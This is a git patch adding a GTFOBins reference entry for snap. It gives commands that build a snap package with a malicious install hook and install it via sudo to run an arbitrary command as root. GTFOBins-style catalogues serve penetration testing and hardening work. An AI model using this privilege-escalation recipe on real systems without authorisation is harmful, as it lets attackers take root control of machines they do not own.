From 39027eb0c17c94f20e5aa0b41a2dfe9732da21d6 Mon Sep 17 00:00:00 2001 From: godylockz <81207744+godylockz@users.noreply.github.com> Date: Fri, 9 Apr 2021 02:57:02 -0400 Subject: [PATCH] Add snap --- _gtfobins/snap.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/snap.md diff --git a/_gtfobins/snap.md b/_gtfobins/snap.md new file mode 100644 index 0000000..f2d4a83 --- /dev/null +++ b/_gtfobins/snap.md @@ -0,0 +1,16 @@ +--- +functions: + sudo: + - description: | + It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. + ``` + COMMAND=id + cd $(mktemp -d) + mkdir -p meta/hooks + printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install + chmod +x meta/hooks/install + fpm -n x -s dir -t snap -a all meta + ``` + code: | + sudo snap install x_1.0_all.snap --dangerous --devmode +---